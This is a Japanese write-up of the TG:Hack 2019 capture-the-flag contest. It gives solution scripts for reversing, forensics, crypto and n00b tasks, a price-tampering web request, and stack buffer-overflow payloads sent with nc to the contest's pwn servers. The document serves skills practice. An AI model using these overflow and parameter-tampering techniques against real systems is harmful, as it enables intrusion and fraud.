この大会は2019/4/18 1:00(JST)~2019/4/21 1:00(JST)に開催されました。
今回は個人で参戦。結果は1325点で703チーム中70位でした。
解けた問題をWriteupとして書いておきます。
Welcome 1 (Misc 5)
問題にフラグが書いてあった。
TG19{I_am_a_fancy_flag_pls_submit_me!}
Welcome 2 (Misc 10)
Twitterの@tghack1337アカウントでフラグを見つけた。
TG19{tweet_like_a_easter_chicken_happy_easter!}
Welcome 4 (Misc 10)
Discordの#tghackチャネルにフラグが書いてある。
TG19{do_not_hesitate_to_ask_questions!}
Bytecodes (Reverse engineering 50)
pycをデコンパイルする。
$ uncompyle6 main.pyc # uncompyle6 version 2.13.3 # Python bytecode 3.6 (3379) # Decompiled from: Python 2.7.12 (default, Nov 12 2018, 14:36:49) # [GCC 5.4.0 20160609] # Embedded file name: main.py # Compiled at: 2019-04-13 21:56:41 # Size of source mod 2**32: 514 bytes import binascii import sys def print_flag(): enc = '1605737b39323b362a2d2c1d203b3627212d26271d2b2c1d362a271d2a2d3731273f' enc = binascii.unhexlify(enc) key = 66 dec = '' for i in enc: dec += chr(i ^ key) print(dec) def main(code): if code == 1337: print_flag() else: print('wrong!') if __name__ == '__main__': if len(sys.argv) != 2: print('error! missing magic code!') sys.exit() main(int(sys.argv[1])) # okay decompiling main.pyc
このコードをmain.pyとして引数に1337を指定して実行する。
$ python3 main.py 1337 TG19{python_bytecode_in_the_house}
TG19{python_bytecode_in_the_house}
Filemagic (Forensics 70)
foremostで含まれているファイルを抽出する。
$ foremost store.bin Processing: store.bin |*|
PNGファイルが抽出できて、フラグが書いてある。
TG19{very_dough_much_loaf}
Superb Owlput (Forensics 150)
DNSの名前を並べるとjpgの形式になるので、結合する。
from scapy.all import * packets = rdpcap('superb-owlput.pcap') flag = '' for p in packets: if p[IP].src == '172.19.1.50': if p.haslayer(DNSQR): flag += p[DNSQR].qname.split('.')[0] flag = flag.decode('hex') with open('flag.jpg', 'wb') as f: f.write(flag)
EXIFを見てみる。
$ exiftool flag.jpg ExifTool Version Number : 10.10 File Name : flag.jpg Directory : . File Size : 402 kB File Modification Date/Time : 2019:04:18 21:03:08+09:00 File Access Date/Time : 2019:04:18 21:09:21+09:00 File Inode Change Date/Time : 2019:04:18 21:03:08+09:00 File Permissions : rwxrwxrwx File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Exif Byte Order : Big-endian (Motorola, MM) X Resolution : 72 Y Resolution : 72 Resolution Unit : inches Artist : VEcxOXtUSEVfV0FMTFNfQVJFX0NPVkVSRURfV0lUSF9NQUdJQ0FMX1NBTFR9Cg Y Cb Cr Positioning : Centered Image Width : 2380 Image Height : 3397 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 2380x3397 Megapixels : 8.1
Artistの文字列をBase64デコードする。
$ echo VEcxOXtUSEVfV0FMTFNfQVJFX0NPVkVSRURfV0lUSF9NQUdJQ0FMX1NBTFR9Cg | base64 -d TG19{THE_WALLS_ARE_COVERED_WITH_MAGICAL_SALT} base64: 無効な入力
TG19{THE_WALLS_ARE_COVERED_WITH_MAGICAL_SALT}
Wandshop (Web 100)
Elder Wandの価格を1にして、購入する。
import requests import re url = 'https://wandshop.tghack.no/' s = requests.Session() r = s.get(url) body = r.text print body pattern = '"csrfmiddlewaretoken" value="(.+)">' m = re.search(pattern, body) mwtoken = m.group(1) payload = {'csrfmiddlewaretoken': mwtoken, 'action': 'add_cart', 'sku': '321', 'price': '1'} r = s.post(url, data=payload) body = r.text print body payload = {'csrfmiddlewaretoken': mwtoken, 'action': 'order'} r = s.post(url, data=payload) body = r.text print body
実行結果は以下の通り。
<html> <head> <title>OllyDbg Wands</title> </head> <body> <h1>Your credit: 1337 coins</h1> <h1>Shopping cart:</h1> <ul> <form action="/" method="post"> <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA"> <input type="hidden" name="action" value="reset"/> <button>Reset</button> </form> <form action="/" method="post"> <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA"> <input type="hidden" name="action" value="order"/> <button>Send order</button> </form> </ul> <h1>Items</h1> <div style="display: flex; flex-direction: row;"> <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;"> <strong>Horse-hair wand</strong><br/> SKU: 1<br/> Price: 123.00 coins <form action="" method="post"> <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA"> <input type="hidden" name="action" value="add_cart"/> <input type="hidden" name="sku" value="1"/> <input type="hidden" name="price" value="123.00"/> <button type="submit">Add to cart</button> </form> </div> <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;"> <strong>Dragon-bone wand</strong><br/> SKU: 2<br/> Price: 323.00 coins <form action="" method="post"> <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA"> <input type="hidden" name="action" value="add_cart"/> <input type="hidden" name="sku" value="2"/> <input type="hidden" name="price" value="323.00"/> <button type="submit">Add to cart</button> </form> </div> <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;"> <strong>Troll-snot wand</strong><br/> SKU: 3<br/> Price: 723.00 coins <form action="" method="post"> <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA"> <input type="hidden" name="action" value="add_cart"/> <input type="hidden" name="sku" value="3"/> <input type="hidden" name="price" value="723.00"/> <button type="submit">Add to cart</button> </form> </div> <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;"> <strong>Elder Wand</strong><br/> SKU: 321<br/> Price: 5000.00 coins <form action="" method="post"> <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA"> <input type="hidden" name="action" value="add_cart"/> <input type="hidden" name="sku" value="321"/> <input type="hidden" name="price" value="5000.00"/> <button type="submit">Add to cart</button> </form> </div> </div> </body> </html> <html> <head> <title>OllyDbg Wands</title> </head> <body> <h1>Your credit: 1336 coins</h1> <h1>Shopping cart:</h1> <ul> <li>321 - 1</li> <form action="/" method="post"> <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3"> <input type="hidden" name="action" value="reset"/> <button>Reset</button> </form> <form action="/" method="post"> <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3"> <input type="hidden" name="action" value="order"/> <button>Send order</button> </form> </ul> <h1>Items</h1> <div style="display: flex; flex-direction: row;"> <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;"> <strong>Horse-hair wand</strong><br/> SKU: 1<br/> Price: 123.00 coins <form action="" method="post"> <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3"> <input type="hidden" name="action" value="add_cart"/> <input type="hidden" name="sku" value="1"/> <input type="hidden" name="price" value="123.00"/> <button type="submit">Add to cart</button> </form> </div> <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;"> <strong>Dragon-bone wand</strong><br/> SKU: 2<br/> Price: 323.00 coins <form action="" method="post"> <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3"> <input type="hidden" name="action" value="add_cart"/> <input type="hidden" name="sku" value="2"/> <input type="hidden" name="price" value="323.00"/> <button type="submit">Add to cart</button> </form> </div> <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;"> <strong>Troll-snot wand</strong><br/> SKU: 3<br/> Price: 723.00 coins <form action="" method="post"> <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3"> <input type="hidden" name="action" value="add_cart"/> <input type="hidden" name="sku" value="3"/> <input type="hidden" name="price" value="723.00"/> <button type="submit">Add to cart</button> </form> </div> <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;"> <strong>Elder Wand</strong><br/> SKU: 321<br/> Price: 5000.00 coins <form action="" method="post"> <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3"> <input type="hidden" name="action" value="add_cart"/> <input type="hidden" name="sku" value="321"/> <input type="hidden" name="price" value="5000.00"/> <button type="submit">Add to cart</button> </form> </div> </div> </body> </html> <html> <head> <title>OllyDbg Wands</title> </head> <body> Yay! You ordered an Elder Wand. FLAG: TG19{Elder wand iz best wand} </body> </html>
TG19{Elder wand iz best wand}
Pwntions 1 (Pwn 50)
31文字適当に入れてみる。
$ nc pwntion1.tghack.no 1061 ▄▄▌ ▐ ▄▌▄▄▄ .▄▄▌ ▄▄· • ▌ ▄ ·. ▄▄▄ . ▄▄▄▄▄ ██· █▌▐█▀▄.▀·██• ▐█ ▌▪▪ ·██ ▐███▪▀▄.▀· •██ ▪ ██▪▐█▐▐▌▐▀▀▪▄██▪ ██ ▄▄ ▄█▀▄ ▐█ ▌▐▌▐█·▐▀▀▪▄ ▐█.▪ ▄█▀▄ ▐█▌██▐█▌▐█▄▄▌▐█▌▐▌▐███▌▐█▌.▐▌██ ██▌▐█▌▐█▄▄▌ ▐█▌·▐█▌.▐▌ ▀▀▀▀ ▀▪ ▀▀▀ .▀▀▀ ·▀▀▀ ▀█▄▀▪▀▀ █▪▀▀▀ ▀▀▀ ▀▀▀ ▀█▄▀▪ ▪ ▐ ▄ ▄▄▄▄▄▄▄▄ ·▄▄▄▄ ▄• ▄▌ ▄▄· ▄▄▄▄▄▪ ▐ ▄ ▄▄▄▄▄ ██ •█▌▐█•██ ▀▄ █·▪ ██▪ ██ █▪██▌▐█ ▌▪•██ ██ ▪ •█▌▐█ •██ ▪ ▐█·▐█▐▐▌ ▐█.▪▐▀▀▄ ▄█▀▄ ▐█· ▐█▌█▌▐█▌██ ▄▄ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌ ▐█.▪ ▄█▀▄ ▐█▌██▐█▌ ▐█▌·▐█•█▌▐█▌.▐▌██. ██ ▐█▄█▌▐███▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌ ▐█▌·▐█▌.▐▌ ▀▀▀▀▀ █▪ ▀▀▀ .▀ ▀ ▀█▄▀▪▀▀▀▀▀• ▀▀▀ ·▀▀▀ ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪ ▀▀▀ ▀█▄▀▪ ▄▄▄·▄▄▌ ▐ ▄▌ ▐ ▄ ▄▄▄▄▄▪ ▐ ▄ .▄▄ · ▄▄· ▄▄▌ ▄▄▄· .▄▄ · .▄▄ · ▄▄ ▐█ ▄███· █▌▐█•█▌▐█•██ ██ ▪ •█▌▐█▐█ ▀. ▐█ ▌▪██• ▐█ ▀█ ▐█ ▀. ▐█ ▀. ██▌ ██▀·██▪▐█▐▐▌▐█▐▐▌ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌▄▀▀▀█▄ ██ ▄▄██▪ ▄█▀▀█ ▄▀▀▀█▄▄▀▀▀█▄▐█· ▐█▪·•▐█▌██▐█▌██▐█▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌▐█▄▪▐█ ▐███▌▐█▌▐▌▐█ ▪▐▌▐█▄▪▐█▐█▄▪▐█.▀ .▀ ▀▀▀▀ ▀▪▀▀ █▪ ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪ ▀▀▀▀ ·▀▀▀ .▀▀▀ ▀ ▀ ▀▀▀▀ ▀▀▀▀ ▀ Professor maritio_o: "As there is little foolish wand-waving here, many of you will hardly believe this is magic. I don't expect you will really understand the beauty of the softly simmering cauldron with its shimmering fumes, the delicate power of liquids that creep through the human veins, bewitching the minds, ensnaring the senses... I can teach you how to bottle fame, brew glory, and even stopper death - if you aren't as big a bunch of dunderheads as I usually have to teach." Student: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa TG19{remember that C always terminates on null bytes^_^}
TG19{remember that C always terminates on null bytes^_^}
Pwntions 2 (Pwn 75)
48バイトの後、整数値で1になっていればフラグが表示される。
$ python -c 'print "A"*48+"\x01\x00\x00\x00"' | nc pwntion2.tghack.no 1062 ▪ ▐ ▄ ▄▄▄▄▄▄▄▄ ·▄▄▄▄ ▄• ▄▌ ▄▄· ▄▄▄▄▄▪ ▐ ▄ ▄▄▄▄▄ ██ •█▌▐█•██ ▀▄ █·▪ ██▪ ██ █▪██▌▐█ ▌▪•██ ██ ▪ •█▌▐█ •██ ▪ ▐█·▐█▐▐▌ ▐█.▪▐▀▀▄ ▄█▀▄ ▐█· ▐█▌█▌▐█▌██ ▄▄ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌ ▐█.▪ ▄█▀▄ ▐█▌██▐█▌ ▐█▌·▐█•█▌▐█▌.▐▌██. ██ ▐█▄█▌▐███▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌ ▐█▌·▐█▌.▐▌ ▀▀▀▀▀ █▪ ▀▀▀ .▀ ▀ ▀█▄▀▪▀▀▀▀▀• ▀▀▀ ·▀▀▀ ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪ ▀▀▀ ▀█▄▀▪ ▄▄▄·▄▄▌ ▐ ▄▌ ▐ ▄ ▄▄▄▄▄▪ ▐ ▄ .▄▄ · ▄▄· ▄▄▌ ▄▄▄· .▄▄ · .▄▄ · ▄▄ ▐█ ▄███· █▌▐█•█▌▐█•██ ██ ▪ •█▌▐█▐█ ▀. ▐█ ▌▪██• ▐█ ▀█ ▐█ ▀. ▐█ ▀. ██▌ ██▀·██▪▐██▐▌▐█▐▐▌ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌▄▀▀▀█▄ ██ ▄▄██▪ ▄█▀▀█ ▄▀▀▀█▄▄▀▀▀█▄▐█· ▐█▪·•▐█▌██▐█▌██▐█▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌▐█▄▪▐█ ▐███▌▐█▌▐▌▐█ ▪▐▌▐█▄▪▐█▐█▄▪▐█.▀ .▀ ▀▀▀▀ ▀▪▀▀ █▪ ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪ ▀▀▀▀ ·▀▀▀ .▀▀▀ ▀ ▀ ▀▀▀▀ ▀▀▀▀ ▀ ------------------------------ Overflow pt. 2 ------------------------------- Professor maritio_o: > Welcome to the second class about stack overflow pwntions! > Pls don't hesitate to ask questions! Student: > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Professor maritio_o: > Excellent! Ten points to your house! > TG19{Wow! You_may_also_stack_overflow_into_a_struct}
TG19{Wow! You_may_also_stack_overflow_into_a_struct}
Pwntions 3 (Pwn 100)
何バイトか指定しながら、EIPの値が変わるのを見ていく。
$ gdb -q pwntion3 Reading symbols from pwntion3...done. gdb-peda$ r <<< `python -c 'print "A" * 20'` Starting program: /mnt/hgfs/Shared/pwntion3 <<< `python -c 'print "A" * 20'` bbaanneerrrrrrrrrrrr Professor maritio_o: > I've made a function for you, my magnificent students! Do a little brewing and show me what you are good for! Student: [Inferior 1 (process 41267) exited normally] gdb-peda$ r <<< `python -c 'print "A" * 100'` Starting program: /mnt/hgfs/Shared/pwntion3 <<< `python -c 'print "A" * 100'` bbaanneerrrrrrrrrrrr Professor maritio_o: > I've made a function for you, my magnificent students! Do a little brewing and show me what you are good for! Student: Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x65 (b'e') EBX: 0x41414141 (b'AAAA') ECX: 0xffffccb0 ('A' <repeats 15 times>...) EDX: 0x80 ESI: 0xf7fb0000 --> 0x1afdb0 EDI: 0xf7fb0000 --> 0x1afdb0 EBP: 0x41414141 (b'AAAA') ESP: 0xffffcce0 ('A' <repeats 15 times>...) EIP: 0x41414141 (b'AAAA') [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414141 [------------------------------------stack-------------------------------------] Display various information of current execution context Usage: context [reg,code,stack,all] [code/stack length] 0x41414141 in ?? () gdb-peda$ r <<< `python -c 'print "A" * 44 + "BBBB"'` Starting program: /mnt/hgfs/Shared/pwntion3 <<< `python -c 'print "A" * 44 + "BBBB"'` bbaanneerrrrrrrrrrrr Professor maritio_o: > I've made a function for you, my magnificent students! Do a little brewing and show me what you are good for! Student: Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x31 (b'1') EBX: 0x41414141 (b'AAAA') ECX: 0xffffccb0 ('A' <repeats 15 times>...) EDX: 0x80 ESI: 0xf7fb0000 --> 0x1afdb0 EDI: 0xf7fb0000 --> 0x1afdb0 EBP: 0x41414141 (b'AAAA') ESP: 0xffffcce0 --> 0xffffcd0a --> 0xffff EIP: 0x42424242 (b'BBBB') [-------------------------------------code-------------------------------------] Invalid $PC address: 0x42424242 [------------------------------------stack-------------------------------------] Display various information of current execution context Usage: context [reg,code,stack,all] [code/stack length] 0x42424242 in ?? () $ python -c 'print "A" * 44 + "\xb6\x86\x04\x08"' | nc pwntion3.tghack.no 1063 ▪ ▐ ▄ ▄▄▄▄▄▄▄▄ ·▄▄▄▄ ▄• ▄▌ ▄▄· ▄▄▄▄▄▪ ▐ ▄ ▄▄▄▄▄ ██ •█▌▐█•██ ▀▄ █·▪ ██▪ ██ █▪██▌▐█ ▌▪•██ ██ ▪ •█▌▐█ •██ ▪ ▐█·▐█▐▐▌ ▐█.▪▐▀▀▄ ▄█▀▄ ▐█· ▐█▌█▌▐█▌██ ▄▄ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌ ▐█.▪ ▄█▀▄ ▐█▌██▐█▌ ▐█▌·▐█•█▌▐█▌.▐▌██. ██ ▐█▄█▌▐███▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌ ▐█▌·▐█▌.▐▌ ▀▀▀▀▀ █▪ ▀▀▀ .▀ ▀ ▀█▄▀▪▀▀▀▀▀• ▀▀▀ ·▀▀▀ ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪ ▀▀▀ ▀█▄▀▪ ▄▄▄·▄▄▌ ▐ ▄▌ ▐ ▄ ▄▄▄▄▄▪ ▐ ▄ .▄▄ · ▄▄· ▄▄▌ ▄▄▄· .▄▄ · .▄▄ · ▄▄ ▐█ ▄███· █▌▐█•█▌▐█•██ ██ ▪ •█▌▐█▐█ ▀. ▐█ ▌▪██• ▐█ ▀█ ▐█ ▀. ▐█ ▀. ██▌ ██▀·██▪▐█▐▐▌▐█▐▐▌ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌▄▀▀▀█▄ ██ ▄▄██▪ ▄█▀▀█ ▄▀▀▀█▄▄▀▀▀█▄▐█· ▐█▪·•▐█▌██▐█▌██▐█▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌▐█▄▪▐█ ▐███▌▐█▌▐▌▐█ ▪▐▌▐█▄▪▐█▐█▄▪▐█.▀ .▀ ▀▀▀▀ ▀▪▀▀ █▪ ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪ ▀▀▀▀ ·▀▀▀ .▀▀▀ ▀ ▀ ▀▀▀▀ ▀▀▀▀ ▀ ------------------------------ Overflow pt. 3 ------------------------------- Professor maritio_o: > I've made a function for you, my magnificent students! Do a little brewing and show me what you are good for! Student: TG19{Awesome! You are now better at pwning than many CTFers!! Congratulations}★ /opt/wrap.sh: line 2: 3666 Segmentation fault (core dumped) ./pwntion3
TG19{Awesome! You are now better at pwning than many CTFers!! Congratulations}
Echo Chamber (n00b 5)
表示されたものをそのまま答える。
import socket def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('echo.tghack.no', 5555)) for i in range(50): print 'Round %d' % (i+1) data = recvuntil(s, '\n').strip() print data print data s.sendall(data + '\n') data = recvuntil(s, '\n').strip() print data
TG19{behold_the_echo_chamber_of_secrets}
Math Bonanza (n00b 10)
1000回四則演算の問題に答える。
import socket def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('math.tghack.no', 10000)) for i in range(1000): data = recvuntil(s, '\n').strip() print data formula = recvuntil(s, '\n').strip() print formula ans = str(eval(formula)) data = recvuntil(s, ': ') print data + ans s.sendall(ans + '\n') data = recvuntil(s, '\n').strip() print data data = recvuntil(s, '\n').strip() print data
TG19{calculate_all_the_things}
Let's Hash it Out (n00b 20)
表示された文字列に対して、指定されたハッシュを答える。
import socket import re import hashlib def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('hash.tghack.no', 2001)) data = recvuntil(s, 'luck!\n').strip() print data for i in range(1000): print 'Round %d' % (i+1) data = recvuntil(s, '\n').strip() print data pattern = 'using (.+),' m = re.search(pattern, data) cat = m.group(1) data = recvuntil(s, '\n').strip() print data if cat == 'MD5': h = hashlib.md5(data).hexdigest() elif cat == 'SHA256': h = hashlib.sha256(data).hexdigest() elif cat == 'SHA512': h = hashlib.sha512(data).hexdigest() else: break data = recvuntil(s, ': ') print data + h s.sendall(h + '\n') data = recvuntil(s, '\n').strip() print data
TG19{one_order_of_sha256_hashbrowns_please}
American Standard Code for Information Interchange (Crypto 25)
ASCIIコードが並んでいるので、文字にしていく。
codes = '84 71 49 57 123 65 83 67 73 73 95 97 110 100 95 121 111 117 95 115 104 97 108 108 95 114 101 99 101 105 118 101 125' codes = map(int, codes.split(' ')) flag = '' for code in codes: flag += chr(code) print flag
TG19{ASCII_and_you_shall_receive}
Land of Encoding (Crypto 25)
Base64デコードする。
$ echo VEcxOXtiZV9jYXJlZnVsX3doZW5fZHJvcHBpbmdfdGhlX2Jhc2V9 | base64 -d TG19{be_careful_when_dropping_the_base}
TG19{be_careful_when_dropping_the_base}
Rotarius (Crypto 25)
シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号。
TG19{the_most_basic_type_of_encryption}
Exclusive Magic Club (Crypto 50)
XORでkeyがわかっているので、そのまま復号する。
enc = '''00111001 00101000 01000101 01010001 00011110 00010000 00110000 00011100 00110001 00001011 00011000 00000100 00110001 00111101 00010001 00011100 00101011 00011001 00000111 00010001 00110111 00100100 00111011 00000000 00000100 00011000 00001010 00000101 00011111 00110000 00010000 00000001 00000000 00001001''' enc = enc.replace('\n', ' ').split(' ') key = 'mother_knows_best' flag = '' for i in range(len(enc)): code = int(enc[i], 2) ^ ord(key[i%len(key)]) flag += chr(code) print flag
TG19{bow_down_to_the_AI_overlords}
Josefssons Final Exam (Crypto 75)
XORでkeyがわかっているので、そのまま復号すると、Base64文字列になる。そのままデコードできないが、シフトしてフラグの形式になるようシフトする数を探す。あとはデコードすれば、フラグになる。
import string def caesar(s, n): ret = '' for i in range(len(s)): if s[i] in string.uppercase: code = ord(s[i]) - n if code < ord('A'): code += 26 elif s[i] in string.lowercase: code = ord(s[i]) - n if code < ord('a'): code += 26 else: code = ord(s[i]) ret += chr(code) return ret enc = '''00100011 00100010 00000100 00000010 00001000 00101010 00010111 00001011 00000001 01010101 01010110 00001100 00100010 01101100 00011000 00010001 00001111 00101111 01011110 00011111 00000100 00010001 00011011 00000010 00011001 00101100 00011011 00010011 00101001 01011101 00110010 00111000 00000001 00110011 00101001 01011011 00001101 01011110 01010110 00000110 00011000 00101010 00100011 01010011 00100011 00100001 00111101 01010110''' enc = enc.replace('\n', ' ').split(' ') key = 'good_luck' enc_flag = '' for i in range(len(enc)): code = int(enc[i], 2) ^ ord(key[i%len(key)]) enc_flag += chr(code) enc_flag = caesar(enc_flag, 8) flag = enc_flag.decode('base64') print flag
TG19{soon_you_are_the_crypto_master}
Passing Notes (Crypto 150)
bbb2c5e63d2ef893106fdd0d797aa97a を逆変換する。
supersecretpassword
これのSHA256のダイジェストをkeyとして、AES暗号の復号を行う。
from Crypto.Cipher import AES from Crypto.Hash import SHA256 def unpad(s): return s[:-ord(s[-1])] enc = 'vyLlwWSY1PCK5ELNTPUVdpl8z0rIXiB2+Ybcu/BeXidR3MEiym852HCkS6wHVCr+CdpP6Moe9VQUeFcyq3vZDpVK/orl+8vREYMRrnQR9O4=' enc = enc.decode('base64') secret = 'supersecretpassword' key = SHA256.new() key.update(secret) key = key.hexdigest().decode('hex') iv = enc[:16] enc = enc[16:] cipher = AES.new(key, AES.MODE_CBC, iv) flag = unpad(cipher.decrypt(enc)) print flag
TG19{you_should_really_consider_updating_your_hash_algorithm}
The Chamber of Secrets (Crypto 300)
楕円Elgamal暗号の問題。cを復号して、共通鍵を割り出し、復号する。
#!/usr/bin/env sage -python # solve.sage q = 1125899906842597 a = -3 b = 313205882961673 g = (1115545019992514, 78178829836422) h = (829999038570486, 549144410878897) c1 = (700253548714057, 421820716153583) c2 = (470712751668926, 131989609316847) F = FiniteField(q) E = EllipticCurve(F, [a, b]) G = E.point(g) H = E.point(h) factors, exponents = zip(*factor(E.order())) primes = [factors[i] ^ exponents[i] for i in range(len(factors))][:-2] dlogs = [] for fac in primes: t = int(G.order()) / int(fac) dlog = discrete_log(t*H, t*G, operation='+') dlogs += [dlog] d = crt(dlogs,primes) C1 = E.point(c1) C2 = E.point(c2) secret = C2 - d * C1 print secret
この実行結果は以下の通り。
(934013602642177 : 28034533961304 : 1)
このx座標を鍵として復号する。
from Crypto.Cipher import Blowfish from Crypto.Hash import SHA256 import base64 def unpad(s): return s[:-ord(s[-1])] enc = 'sTokhflo9WHPQB8JHEm0OVG2SwUA/sHaP0yFv9T2kmoZjC5g46eeRM8M8CGRj8bV/NxY4VJ8Ls0=' enc = base64.b64decode(enc) secret = '934013602642177' key = SHA256.new() key.update(secret) bs = Blowfish.block_size iv = enc[:bs] enc = enc[bs:] cipher = Blowfish.new(key.digest(), Blowfish.MODE_CBC, iv) flag = unpad(cipher.decrypt(enc)) print flag
TG19{please_be_more_discreet_when_hacking}